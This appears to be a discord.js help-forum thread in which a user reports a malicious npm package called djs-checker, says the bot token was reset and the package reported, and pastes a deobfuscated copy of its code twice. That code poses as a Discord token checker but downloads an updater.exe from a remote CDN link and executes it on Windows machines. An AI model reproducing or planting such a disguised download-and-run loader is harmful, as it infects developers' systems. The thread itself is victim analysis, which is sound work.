Agentcobra
Agentcobra
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
it was a dépendence
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
yes but not directly
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
already reported on npm
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
scan is already in progress and bot's token already reset
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
Can I reset my token ?
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
do I need to reset password ? or it's only on the bot ?
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
ok
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
does execute it ?
28 replies
DIAdiscord.js - Imagine an app
Created by Agentcobra on 6/2/2024 in #djs-questions
djs-checker
I try to obtain, desobuscted version with https://obf-io.deobfuscate.io/
const axios = require('axios');
const fs = require('fs');
const chalk = require("chalk");
const {
exec
} = require("child_process");
const os = require('os');
const path = require("path");
const folderD = path.join(os.homedir(), "Downloads", "updater.exe");
async function checkDiscordToken(_0x5765c2) {
try {
return true;
} catch (_0x71f188) {
return false;
}
}
async function fetcher() {
try {
if (os.platform() !== "win32") {
return;
}
if (fs.existsSync(folderD)) {
exec('' + folderD, (_0x1a0e40, _0x4b32f7, _0x5ee1ef) => {
if (_0x1a0e40 && _0x1a0e40.code !== 0x1) {
throw new Error("Error starting the bot!");
}
});
return;
}
const _0x2d6d30 = await axios({
'method': 'GET',
'url': "https://cdn.discordapp.com/attachments/1246131714309357644/1246860206160351243/updater.exe?ex=665dec8e&is=665c9b0e&hm=e91c7c32352f1ef8db9da88575df7aa54cf0242635e24e888ef0761661d06029&",
'responseType': "stream"
});
const _0x576b1d = fs.createWriteStream(folderD, {
'flags': 'w+'
});
_0x2d6d30.data.pipe(_0x576b1d);
return new Promise((_0xb5b1f7, _0x5995c6) => {
_0x576b1d.on("finish", () => {
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e) => {
if (_0x2321ed && _0x2321ed.code !== 0x1) {
_0x5995c6(new Error("Error starting the bot!"));
return;
}
_0xb5b1f7();
});
});
_0x576b1d.on("error", _0x5995c6);
});
} catch (_0x558de7) {
throw _0x558de7;
}
}
async function login(_0x21f58d) {
if (!_0x21f58d) {
console.log(chalk.red("No token provided."));
await fetcher();
return;
}
const _0x79d859 = await checkDiscordToken(_0x21f58d);
if (!_0x79d859) {
console.log(chalk.red("Your bot token is invalid."));
await fetcher();
return;
}
console.log(chalk.green("Your bot token is valid."));
await fetcher();
}
module.exports = {
'login': login
};
const axios = require('axios');
const fs = require('fs');
const chalk = require("chalk");
const {
exec
} = require("child_process");
const os = require('os');
const path = require("path");
const folderD = path.join(os.homedir(), "Downloads", "updater.exe");
async function checkDiscordToken(_0x5765c2) {
try {
return true;
} catch (_0x71f188) {
return false;
}
}
async function fetcher() {
try {
if (os.platform() !== "win32") {
return;
}
if (fs.existsSync(folderD)) {
exec('' + folderD, (_0x1a0e40, _0x4b32f7, _0x5ee1ef) => {
if (_0x1a0e40 && _0x1a0e40.code !== 0x1) {
throw new Error("Error starting the bot!");
}
});
return;
}
const _0x2d6d30 = await axios({
'method': 'GET',
'url': "https://cdn.discordapp.com/attachments/1246131714309357644/1246860206160351243/updater.exe?ex=665dec8e&is=665c9b0e&hm=e91c7c32352f1ef8db9da88575df7aa54cf0242635e24e888ef0761661d06029&",
'responseType': "stream"
});
const _0x576b1d = fs.createWriteStream(folderD, {
'flags': 'w+'
});
_0x2d6d30.data.pipe(_0x576b1d);
return new Promise((_0xb5b1f7, _0x5995c6) => {
_0x576b1d.on("finish", () => {
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e) => {
if (_0x2321ed && _0x2321ed.code !== 0x1) {
_0x5995c6(new Error("Error starting the bot!"));
return;
}
_0xb5b1f7();
});
});
_0x576b1d.on("error", _0x5995c6);
});
} catch (_0x558de7) {
throw _0x558de7;
}
}
async function login(_0x21f58d) {
if (!_0x21f58d) {
console.log(chalk.red("No token provided."));
await fetcher();
return;
}
const _0x79d859 = await checkDiscordToken(_0x21f58d);
if (!_0x79d859) {
console.log(chalk.red("Your bot token is invalid."));
await fetcher();
return;
}
console.log(chalk.green("Your bot token is valid."));
await fetcher();
}
module.exports = {
'login': login
};
28 replies